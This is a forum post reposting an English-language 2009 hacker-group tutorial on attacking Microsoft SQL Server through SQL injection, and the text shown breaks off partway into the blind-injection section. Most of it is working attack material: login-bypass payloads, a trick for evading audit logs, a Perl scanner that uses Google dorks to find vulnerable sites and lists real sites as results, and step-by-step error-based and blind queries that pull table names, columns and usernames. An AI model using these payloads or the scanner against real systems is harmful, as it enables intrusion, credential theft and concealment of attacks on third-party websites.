Ich hab gerade per Zufall ein Microsoft SQL Injection Tutorial gefunden und poste es hier mal rein.
Es ist zwar auf Englisch, sollte aber nicht allzu schwer zu verstehen sein.
|=--------------------------------------------------------------------=|
|=----------------=[ Full MSSQL Injection PWNage ]=-----------------=|
|=-----------------------=[ 28 January 2009 ]=------------------------=|
|=---------------------=[ By CWH Underground ]=---------------------=|
|=--------------------------------------------------------------------=|
######
Info
######
Title : Full MSSQL Injection PWNage
Author : ZeQ3uL && JabAv0C
Team : CWH Underground [www.milw0rm.com/author/1456]
Website : cwh.citec.us / The Largest Computer Security Community in Thailand.
Date : 2009-01-28
##########
Contents
##########
[0x00] - Introduction
[0x01] - Know the Basic of SQL injection
[0x01a] - Introduction to SQL Injection Attack
[0x01b] - How to Test sites that are Vulnerable in SQL Injection
[0x01c] - Bypass Authentication with SQL Injection
[0x01d] - Audit Log Evasion
[0x01e] - (Perl Script) SQL-Google searching vulnerable sites
[0x02] - MSSQL Normal SQL Injection Attack
[0x02a] - ODBC Error Message Attack with "HAVING" and "GROUP BY"
[0x02b] - ODBC Error Message Attack with "CONVERT"
[0x02c] - MSSQL Injection with UNION Attack
[0x02d] - MSSQL Injection in Web Services (SOAP Injection)
[0x03] - MSSQL Blind SQL Injection Attack
[0x03a] - How to Test sites that are Vulnerable in Blind SQL Injection
[0x03b] - Determine data through Blind SQL Injection
[0x03c] - Exploit Query for get Table name
[0x03d] - Exploit Query for get Column name
[0x04] - More Dangerous SQL Injection Attack
[0x04a] - Dangerous from Extended Stored Procedures
[0x04b] - Advanced SQL Injection Techniques
[0x04c] - Mass MSSQL Injection Worms
[0x05] - MSSQL Injection Cheat Sheet
[0x06] - SQL Injection Countermeasures
[0x07] - References
[0x08] - Greetz To
#######################
[0x00] - Introduction
#######################
Welcome reader, this paper is a short attempt at documenting a practical technique
we have been working on. This papers will guide about technique that allows the attackers
(us) gaining access into the process of exploiting a website via SQL Injection Techniques
that we focused on MSSQL only
This paper is divided into 8 sections but only from section 0x01 to 0x06
are about technical information.
Section 0x01, we talk about basic knowledge of SQL injection vulnverabilities which
are classified into two types, normal and blind. Section 0x02, we give a detail of each way
attacking through SQL injection. Section 0x03, we explain the way to enumerate data through
blind sql injection technique. Section 0x04, we show more dangerous approaches which can occur
through SQL injection vulnerabilities. Section 0x05, we collect MSSQL queries in several purposes.
Section 0x06, we offer some tips in order to prevent the system from SQL injection attack.
##########################################
[0x01] - Know the Basic of SQL injection
##########################################
SQL injection vulnerabilities occur when the database server can be made to execute arbitrary SQL
(Structured Query Language) commands. Typically executed through the web application front end (use interface,
form, etc.), the attack involves entering malformed or unexpected SQL statements which result in unauthorized
execution of SQL commands on the database server.
++++++++++++++++++++++++++++++++++++++++++++++++
[0x01a] - Introduction to SQL Injection Attack
++++++++++++++++++++++++++++++++++++++++++++++++
SQL injection attacks occur when malicious SQL commands are injected into a predefined SQL query
in order to alter the outcome of the query. Take the example of an application that requests a user id
for authentication. The application adds this user ID to a predefined SQL query to perform authentication.
However, if instead of providing a valid user name the attacker inputs a specialized SQL command
that forces the termination of the predefined SQL query and forces the execution of a new SQL query. In this
way the attacker can execute any SQL command on the host system without even needing to log in.
A successful SQL injection exploit can read sensitive data from the database, modify database data
(Insert/Update/Delete), execute administration operations on the database (such shutdown the DBMS), recover
the content of a given file present on the DBMS filesystem and in some cases issue commands to the operating system.
An application is vulnerable to SQL injection attack when:
- User input is incorrectly filtered for string literal escape characters embedded in SQL statements.
- User input is either not restricted ? e.g. through strong typing - and thereby can be made to execute
in an unexpected manner
SQL Injection always occur in application that needs to talk to a Database include:
- Authentication forms (Login Pages)
- Search forms
- E-Commerce sites
- Forum / Webboard
- Content Manage System (CMS's that use DB),Such as:
Joomla Components (milw0rm - exploits : vulnerabilities : videos : papers : shellcode)
Mambo Components (milw0rm - exploits : vulnerabilities : videos : papers : shellcode)
Wordpress Plugin (milw0rm - exploits : vulnerabilities : videos : papers : shellcode)
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++
[0x01b] - How to Test sites that are vulnerable in SQL Injection
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++
We must make a list of all input fields whose values could be used in crafting a SQL query,
including the hidden fields of POST requests and then test them separately, trying to interfere with
the query and to generate an error. The very first test usually consists of adding a single quote (')
, double quote ("") or a semicolon ( to the field under test.
[Simple URL] http://www.example.com/news.asp?id=10
[Test SQLi] http://www.example.com/news.asp?id=10'
It's vulnerable in SQL injection,If the output some error like this:
[HTTP Response]-----------------------------------------------------------------------------
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/news.asp, line 52
[End HTTP Response]-------------------------------------------------------------------------
Next solution, Use "OR/AND" Operation for testing SQL injection vulnerability:
If contains is the different as original URL that dump all data
from database, It's vulnerable in SQL injection.
[Simple URL] http://www.example.com/news.asp?id=2
[output]------------------------------------------------------------------------------------
News: 2
Details: Preventing blind SQL injection attacks, Most security professionals know ...
[End Output]--------------------------------------------------------------------------------
[Test SQLi] http://www.example.com/news.asp?id=2' or '1'='1
[output]------------------------------------------------------------------------------------
News: 1
Details: SQL injection attack infects hundreds of thousands of websites ...
News: 2
Details: Preventing blind SQL injection attacks, Most security professionals know ...
News: 3
Details: Mass SQL injection, There's another round of mass SQL injections going on which has infected ...
News: 4
Details: New Botnet Malware Spreading SQL injection attack tool ...
[End Output]--------------------------------------------------------------------------------
That's Great !! Can you see something different from original URL ? (It's Vuln in SQL Injection Attacks),
It's return all query from DB, Why ??
[ASP_code]
var sql = "SELECT * FROM news WHERE id = '" + getid +"'";
[End ASP_code]
[Final query //id=2]
SELECT * FROM news WHERE id = '2' // It's will return News 2
[End id=2]
[Final query //id=2' or 'a'='a] // Testing SQLi Vuln
SELECT * FROM news WHERE id = '2' or 'a'='a' // It's include ' or 'a'='a into SQL statement and the condition is TRUE,
// So It will return all news (id=1,2,3,...)
[End id=2' or 'a'='a]
++++++++++++++++++++++++++++++++++++++++++++++++++ ++
[0x01c] - Bypass Authentication with SQL Injection
++++++++++++++++++++++++++++++++++++++++++++++++++ ++
This basic technique for "bypass Login" when application use DB to checking authentication.
However, an attacker may possibly bypass this check with SQL injection.
[Example scripts]
+-----------------------------+
| ' or 1=1 -- |
| a' or 1=1 -- |
| " or 1=1 -- |
| a" or 1=1 -- |
| ' or 1=1 # |
| " or 1=1 # |
| or 1=1 -- |
| ' or 'x'='x |
| " or "x"="x |
| ') or ('x'='x |
| ") or ("x"="x |
| ' or username LIKE '%admin% |
+-----------------------------+
| USERNAME: ' or 1/* |
| PASSWORD: */ =1 -- |
+-----------------------------+
| USERNAME: admin' or 'a'='a |
| PASSWORD: '# |
+-----------------------------+
[Login ASP_code]----------------------------------------------------------------------------
var sql = "SELECT * FROM users WHERE username = '" + formusr + "' AND password ='" + formpwd + "'";
[End Login ASP_code]------------------------------------------------------------------------
When we input something like this:
formusr = admin
formpwd = ' or 'a='a
[SQL Query]---------------------------------------------------------------------------------
SELECT * FROM users WHERE username = 'admin' AND password = '' or 'a'='a'
[End Code]----------------------------------------------------------------------------------
This SQL condition is TRUE and bypass login process, So you don't need admin's password. (Just use ' or 'a'='a)
If we input something like this
formusr = ' or 1=1 --
formpwd = anything
[SQL Query]---------------------------------------------------------------------------------
SELECT * FROM users WHERE username = '' or 1=1 -- AND password = 'anything'
[End Code]----------------------------------------------------------------------------------
** Note **
-- is comment operator of MSSQL DB used to comment out everything following this operator.
/*Comment*/ Inline comment, Comments out rest of the query by not closing them / Bypass blacklisting.
DROP/*comment*/sampletable
DR/**/OP/*bypass blacklisting*/sampletable
SELECT/*avoid-spaces*/password/**/FROM/**/Members
If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then
you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash
of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.
formusr = admin
formpwd = pass ' AND 1=2 UNION ALL SELECT 'admin', '1a1dc91c907325c69271ddf0c944bc72
1a1dc91c907325c69271ddf0c944bc72 = MD(pass)
+++++++++++++++++++++++++++++
[0x01d] - Audit Log Evasion
+++++++++++++++++++++++++++++
When we injection some code with SQLi Techniques, All of the SQL queries can be logged and admin can know what's happen ?
The technique for evade logging, We use "sp_password"
formusr = ' or 1=1 -- sp_password
formpwd = anything
SQL Server don't log queries which includes sp_password for security reasons(!). So if you add --sp_password to your queries
it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible).
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++
[0x01e] - (Perl Script) SQL-Google searching vulnerable sites
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++
The Good way to searching sites that have SQL injection vulnerability is "Google"
(That powerful to use every search engines to searching with IRCbots). We developed simple Perl script for
searching SQL injection holes (MSSQL, Mysql, MS Access, Oracle) name "SQL-Google Search":
[code]-----------------------------------------------------------------------------------
#!/usr/bin/perl
use LWP::Simple;
use LWP::UserAgent;
use HTTP::Request;
my $sis="$^O";if ($sis eq 'MSWin32') { system("cls"); } else { system("clear"); }
print "+++++++++++++++++++++++++++++++\n";
print "+ SQL - Google Search +\n";
print "+ CWH Underground +\n";
print "+++++++++++++++++++++++++++++++\n\n";
print "Insert Dork:";
chomp( my $dork = <STDIN> );
print "Total Query Pages (10 Links/Pages) :";
chomp( my $page = <STDIN> );
print "\n[+] Result:\n\n";
for($start = 0;$start != $page*10;$start += 10)
{
$t = "http://www.google.com/search?hl=en&q=".$dork."&btnG=Search&start=".$star t;
$ua = LWP::UserAgent->new(agent => 'Mozilla 5.2');
$ua->timeout(10);
$ua->env_proxy;
$response = $ua->get($t);
if ($response->is_success)
{
$c = $response->content;
@stuff = split(/<a href=/,$c);
foreach $line(@stuff)
{
if($line =~/(.*) class=l/ig)
{
$out = $1;
$out =~ s/\"//g;
$out =~s/$/\'/;
$ua = LWP::UserAgent->new(agent => 'Mozilla 5.2');
$ua->timeout(10);
$ua->env_proxy;
$response = $ua->get($out);
$error = $response->content();
if($error =~m/mysql_/ || $error =~m/Division by zero in/ || $error =~m/Warning:/)
{print "$out => Could be Vulnerable in MySQL Injection!!\n";}
elsif($error =~m/Microsoft JET Database/ || $error =~m/ODBC Microsoft Access Driver/)
{print "$out => Could be Vulnerable in MS Access Injection!!\n";}
elsif($error =~m/Microsoft OLE DB Provider for SQL Server/ || $error =~m/Unclosed quotation mark/)
{print "$out => Could be Vulnerable in MSSQL Injection!!\n";}
elsif($error =~m/Microsoft OLE DB Provider for Oracle/)
{print "$out => Could be Vulnerable in Oracle Injection!!\n";}
}
}
}
}
[End code]----------------------------------------------------------------------------------
[output]------------------------------------------------------------------------------------
+++++++++++++++++++++++++++++++
+ SQL - Google Search +
+ CWH Underground +
+++++++++++++++++++++++++++++++
Insert Dork:index.asp?sid=
Total Query Pages (10 Links/Pages) :5
[+] Result:
http://www.ris.org.uk/index.asp?sid=7&mid=5' => Could be Vulnerable in MSSQL Injection!!
http://www.waterbucket.ca/rm/index.asp?type=single&sid=44&id=307' => Could be Vulnerable in MSSQL Injection!!
http://www.ilri.org/research/Index.asp?SID=4' => Could be Vulnerable in MSSQL Injection!!
[End output]--------------------------------------------------------------------------------
############################################
[0x02] - MSSQL Normal SQL Injection Attack
############################################
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++
[0x02a] - ODBC Error Message Attack with "HAVING" and "GROUP BY"
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++
We can use information from error message produced by the MS SQL Server to get almost any data we want.
- "GROUP BY" is a microsoft sql server command used to group output of particular sql query.
- "HAVING" is a command used to specify a search condition for a group or an aggregate.
this command is always used with "GROUP BY" otherwise the error will return.
As the operation of these two commands, we can take advantage of them in order to
obtain particular table name and all column names of this table. We will explain you by using an example.
First, The target has a table called "news" and in news, there are three columns, which are news_id, news_author and news_detail.
The vulnerable page is http://www.example.com/page.asp?id=1
The query in this page is something like
[Query]-----------------------------------------------------------------------------
var query = "SELECT * FROM news WHERE news_id= '" + column+ "'";
[End query]-------------------------------------------------------------------------
So, we can inject HAVING command in order to observe returned error
[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1' HAVING 1=1--
[End SQLi]--------------------------------------------------------------------------
The query will be
SELECT * FROM news WHERE news_id='1' HAVING 1=1--'
We will get the error as following:
------------------------------------------------------------------------------------
Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_id' is invalid in
the select list because it is not contained in an aggreate function and there is no GROUP BY clause.
------------------------------------------------------------------------------------
In this error, we know table name = "news", used in this page and
one column name = "news_id", contained in particular table.
The error is originate from using HAVING command without GROUP BY command.
Moreover, we can get the other column names by using combination of GROUP BY and HAVING command.
[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1' GROUP BY news.news_id HAVING 1=1--
[End SQLi]--------------------------------------------------------------------------
The query will be
SELECT * FROM news WHERE news_id='1' GROUP BY news.news_id HAVING 1=1--'
We will get the error
------------------------------------------------------------------------------------
Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_author' is invalid in
the select list because it is not contained in an aggreate function and there is no GROUP BY clause.
------------------------------------------------------------------------------------
Now, we know the second column name of table1 = "news_author". The third column name can be obtained
by adding the second column name in the previous query
[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1' GROUP BY news.news_id,news.news_author HAVING 1=1--
[End SQLi]--------------------------------------------------------------------------
The query will be
SELECT * FROM news WHERE news_id='1' GROUP BY news.news_id,news.news_author HAVING 1=1--'
The request will generate following error
------------------------------------------------------------------------------------
Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_detail' is invalid in
the select list because it is not contained in an aggreate function and there is no GROUP BY clause.
------------------------------------------------------------------------------------
The third column name = "news_detail", pops up in returned error. If we had more columns,
we could add news_detail in GROUP BY clause of previous request then we could get the forth column name.
When we added all of column in GROUP BY clause, we will get normal result and
we absolutely know that we obtained all column name in table1.
As this example, the request below will generate no error.
[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1' GROUP BY news.news_id,news.news_author,news_detail HAVING 1=1--
[End SQLi]--------------------------------------------------------------------------
The query will be
SELECT * FROM news WHERE news_id='1' GROUP BY news.news_id,news.news_author,news_detail HAVING 1=1--'
As no error return, we know that table1 consists of three columns which are "news_id", "news_author" and "news_detail".
++++++++++++++++++++++++++++++++++++++++++++++++++ ++
[0x02b] - ODBC Error Message Attack with "CONVERT"
++++++++++++++++++++++++++++++++++++++++++++++++++ ++
In our opinion, MSSQL expresses much information in returned error. It is useful for programmers to debug their application meanwhile
it is valuable for many attackers, as seeing in previous section.
In this section, we provide another method of utilizing from MSSQL error through a command called "convert".
convert command is used to convert between two data type and when the specific data cannot convert to another type,
this command will return error. let see through an example:
In this example, we show you how to obtain MSSQL_Version, DB_name, User_name.
[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1+and+1=convert(int,@@version)--
[End SQLi]--------------------------------------------------------------------------
Error Message returned:
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86) Feb 9 2007
22:47:07 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
' to data type int.
/page.asp, line 9
------------------------------------------------------------------------------------
Now, We know the version of MSSQL and OS (Windows 2003 Server), Let's go to enumerate DB_name.
[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1+and+1=convert(int,db_name())--
[End SQLi]--------------------------------------------------------------------------
Error Message returned:
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'cwhdb' to data type int.
/page.asp, line 9
------------------------------------------------------------------------------------
We can know the Database name = "cwhdb", Next is query for get current user that run DB.
[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1+and+1=convert(int,user_name())--
[End SQLi]--------------------------------------------------------------------------
Error Message returned:
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'sa' to data type int.
/showthread.asp, line 9
------------------------------------------------------------------------------------
W00t!! W00t!!, It use "sa" privileges lol. This information can help us that we can use extended
stored procedure "XP_CMDSHELL" to run arbitrary command executes.
In next example, we show you how to obtain table names, column names and data.
Take a look at our First request
[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+tabl e_name+from+information_schema.tables))--
[End SQLi]--------------------------------------------------------------------------
"information_schema.tables" stores information about tables in databases and there is a field called "table_name"
which stores names of each table. The result of this request is something like this:
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'threads' to data type int.
/page.asp, line 9
------------------------------------------------------------------------------------
From the query, we get threads as a nvarchar data type and as it cannot convert from threads to int data type, the error is returned.
Therefore, we know the first table = "threads", from this error. The next step is looking for the second table.
We only put WHERE clause append the query in above request.
[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+tabl e_name+from+information_schema.tables+where+table_ name+
not+in+('threads')))--
[End SQLi]--------------------------------------------------------------------------
We will get an error like this:
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'users' to data type int.
/page.asp, line 9
------------------------------------------------------------------------------------
Again, we know the second table = "users", from the error. If we want another table, we just append our known table list. for example,
[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+tabl e_name+from+information_schema.tables+where+table_ name+
not+in+('threads','users')))--
[End SQLi]--------------------------------------------------------------------------
And we will get an error:
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'forums' to data type int.
/page.asp, line 9
------------------------------------------------------------------------------------
This means the third table = "forums". On the other hand, if the previous request return something like this.
------------------------------------------------------------------------------------
ADODB.Field error '800a0bcd'
Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/page.asp, line 10
------------------------------------------------------------------------------------
It means this database consists of only two tables, threads and users.
OK, now, we already get all tables. The next target is column names.
The method to retrieve column names is not much different from getting table names.
We merely change from "information_schema.tables" to "information_schema.columns" and from "table_name" to "column_name"
but we have to add "table_name" in WHERE cluase in order to specify the table which we will pull column names from.
Don't talk too much, let see an example
[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+colu mn_name+from+information_schema.columns+where+tabl e_name='users'))--
[End SQLi]--------------------------------------------------------------------------
From this request, we get an following error
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'uname' to data type int.
/showthread.asp, line 9
------------------------------------------------------------------------------------
As the same approach of getting table names, we abruptly know that the first column of table 'users' is "uname".
For another column name, we add a bit in WHERE clause.
[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+colu mn_name+from+information_schema.columns+where+tabl e_name='users'+
and+column_name+not+in+('uname')))--
[End SQLi]--------------------------------------------------------------------------
We will get an below error.
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'upass' to data type int.
/showthread.asp, line 9
------------------------------------------------------------------------------------
Absolutely we know the second column = "upass", of table 'users'. For getting more column names,
we only append a known table list like that in getting table names. For example,
[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+colu mn_name+from+information_schema.columns+where+tabl e_name='users'+
and+column_name+not+in+('uname','upass')))--
[End SQLi]--------------------------------------------------------------------------
The Error message:
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'email' to data type int.
/showthread.asp, line 9
------------------------------------------------------------------------------------
So, the third column is "email". but if the error is
------------------------------------------------------------------------------------
ADODB.Field error '800a0bcd'
Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/page.asp, line 10
------------------------------------------------------------------------------------
This means no more column left. Next is the real target which attackers want, the data.
If take a look carefully, we will see that the idea is not different from getting table and column.
Use the same manner but change only table and column name.
If we want uname data in table users, we can do like this:
[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+unam e+from+users))--
[End SQLi]--------------------------------------------------------------------------
We will see uname in returned error.
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'admin' to data type int.
/page.asp, line 9
------------------------------------------------------------------------------------
Now, we know that there is 'admin' in column 'uname' of table 'users'. For another uname,
we just create a known table list as table and column.
[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+unam e+from+users+where+uname+not+in+('admin')))--
[End SQLi]--------------------------------------------------------------------------
Error again:
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'cwh' to data type int.
/page.asp, line 9
------------------------------------------------------------------------------------
OK, we get another "uname" which is 'cwh'. If we try following request.
[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+unam e+from+users+where+uname+not+in+('admin','cwh')))--
[End SQLi]--------------------------------------------------------------------------
And we get an error like this
------------------------------------------------------------------------------------
ADODB.Field error '800a0bcd'
Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/showthread.asp, line 10
------------------------------------------------------------------------------------
It means there are only two uname in users table (admin,cwh).
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++
[0x02d] - MSSQL Injection in Web Services (SOAP Injection)
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++
Web Services use XML messages that follow the SOAP standard and have been popular with traditional enterprise.
In such systems, there is often a machine-readable description of the operations offered by the service written in the
Web Services Description Language (WSDL).
SOAP is often used in large-scale enterprise applications where individual tasks are performed by different computers to
improve performance. It's often found where web application that deployed as a front-end to an existing application.
Let's take a look for SOAP request like this:
[SOAP Request]------------------------------------------------------------------------------
POST /webservice/service.asmx HTTP/1.0
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.1433)
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/GetUserInfo"
Host: testcwh.cwh.net
Content-Length: 345
Expect: 100-continue
Connection: Keep-Alive
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body>
<GetUserInfo xmlns="http://tempuri.org/"><username>admin</username><password>1234</password></GetUserInfo></soap:Body></soap:Envelope>
[End Request]-------------------------------------------------------------------------------
Can you see username(admin) and password(1234) that send to Server side ?
What's happen if we injection (') single quote to username field like this: <username>admin'</username><password>1234</password>
before It send to Server Side. We can use Web proxy (Burpsuite, Paros proxy) to intercept SOAP request and SOAP respond.
[SOAP Respond When we inject single quote]--------------------------------------------------
HTTP/1.1 200 OK
Date: Mon, 26 Jan 2009 15:45:27 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private, max-age=0
Content-Type: text/xml; charset=utf-8
Content-Length: 1057
Connection: close
X-Junk: xxxxxxxxxxx
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body>
<GetUserInfoResponse xmlns="http://tempuri.org/"><GetUserInfoResult><ErrorOccured>true</ErrorOccured><ErrorStr>
System.Data.OleDb.OleDbException: Unclosed quotation mark after the character string ''.
Incorrect syntax near '81'.
at System.Data.OleDb.OleDbDataReader.ProcessResults(O leDbHResult hr)
at System.Data.OleDb.OleDbDataReader.NextResult()
at System.Data.OleDb.OleDbCommand.ExecuteReaderIntern al(CommandBehavior behavior, String method)
at System.Data.OleDb.OleDbCommand.ExecuteReader(Comma ndBehavior behavior)
at Service.GetUserInfo(String username, String password)</ErrorStr><SqlQuery>SELECT * FROM users WHERE username='admin''
AND password='81dc9bdb52d04dc20036dbd8313ed055'</SqlQuery><id>-1</id><joindate>0001-01-01T00:00:00</joindate></GetUserInfoResult>
</GetUserInfoResponse></soap:Body></soap:Envelope>
[End Respond]-------------------------------------------------------------------------------
Okey, The SOAP respond return error message like that. We can use simple techiques for SQLi that we showed you
in section [0x02b] - ODBC Error Message Attack with "CONVERT", Let's use this SQLi:
admin' and 1=convert(int,@@version)--
[SOAP Request/Respond]----------------------------------------------------------------------
*** Request ***
POST /webservice/service.asmx HTTP/1.0
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.1433)
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/GetUserInfo"
Host: testcwh.cwh.net
Content-Length: 384
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body>
<GetUserInfo xmlns="http://tempuri.org/"><username>admin' and 1=convert(int,@@version)--</username><password>1234</password>
</GetUserInfo></soap:Body></soap:Envelope>
*** Response ***
HTTP/1.1 200 OK
Date: Wed, 28 Jan 2009 15:59:17 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private, max-age=0
Content-Type: text/xml; charset=utf-8
Content-Length: 1266
Connection: close
X-Junk: xxxxxxxxxxx
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body>
<GetUserInfoResponse xmlns="http://tempuri.org/"><GetUserInfoResult><ErrorOccured>true</ErrorOccured><ErrorStr>
System.Data.OleDb.OleDbException: Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86)
Feb 9 2007 22:47:07
Copyright (c) 1988-2005 Microsoft Corporation
Express Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
' to data type int.
at System.Data.OleDb.OleDbDataReader.ProcessResults(O leDbHResult hr)
at System.Data.OleDb.OleDbDataReader.NextResult()
at System.Data.OleDb.OleDbCommand.ExecuteReaderIntern al(CommandBehavior behavior, String method)
at System.Data.OleDb.OleDbCommand.ExecuteReader(Comma ndBehavior behavior)
at Service.GetUserInfo(String username, String password)</ErrorStr><SqlQuery>SELECT * FROM users WHERE username='admin'
and 1=convert(int,@@version)--' AND password='81dc9bdb52d04dc20036dbd8313ed055'</SqlQuery><id>-1</id><joindate>0001-01-01T00:00:00</joindate>
</GetUserInfoResult></GetUserInfoResponse></soap:Body></soap:Envelope>
[End]---------------------------------------------------------------------------------------
W00t!! W00t!!, We can enumerate MSSQL Version : Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86).
Then we can use SQLi techniques that we mention above (Dump tables, columns, data, Etc).
###########################################
[0x03] - MSSQL Blind SQL Injection Attack
###########################################
In some case, Using normal sql injection is not work. Blind sql injection is another method which may help you.
The important point for blind sql injection is the difference between the valid and invalid query result.
You have to inject a statement to make query valid or invalid and observe the response.
Just because you don't see any results, doesn't mean that your injected SQL is not being executed !!
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++
[0x03a] - How to Test sites that are vulnerable in Blind SQL Injection
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++
We assume that http://www.example.com/page.asp?id=1 is normal url to open web page.
You can try to inject a statement like this
http://www.example.com/page.asp?id=1 and 1=1
and
http://www.example.com/page.asp?id=1 and 1=2
If the results from these requests are different, it will be a good signal for you.
This website may fall to blind sql injection vulnerability. When you put "id=1 and 1=1",
it means that the condition is true so, the response must be normal.
But the parameter "id=1 and 1=2" indicates that the condition is false
and if the webmaster does not provide a proper filter, the response absolutely differs from previous.
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++
[0x03b] - Determine data through Blind SQL Injection
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++
By using blind technique, you have to spend more time than normal injection.
You can obtain only one character while you send several queries to server.
We will give you an example of querying the first character of database name.
We assume that database name is member. Therefore, the first character is "m"
which the ascii value is 109. (At this point, we assume that you know ascii code)
Ok, first, we have to know that the results from requests have only 2 forms.
1. Valid query result likes http://www.example.com/page.asp?id=1 and 1=1
2. Invalid query result likes http://www.example.com/page.asp?id=1 and 1=2
The following steps are up to each person. You idea may be different from our idea in order to pick ascii code to test query.
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90
In this situation, the result will be valid query result like http://www.example.com/page.asp?id=1 and 1=1
(because the first character of database name is "m" which ascii code is 109). Then, we try
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>120
It is surely that the result will like http://www.example.com/page.asp?id=1 and 1=2 (because 109 absolutely less than 120).
next, we try
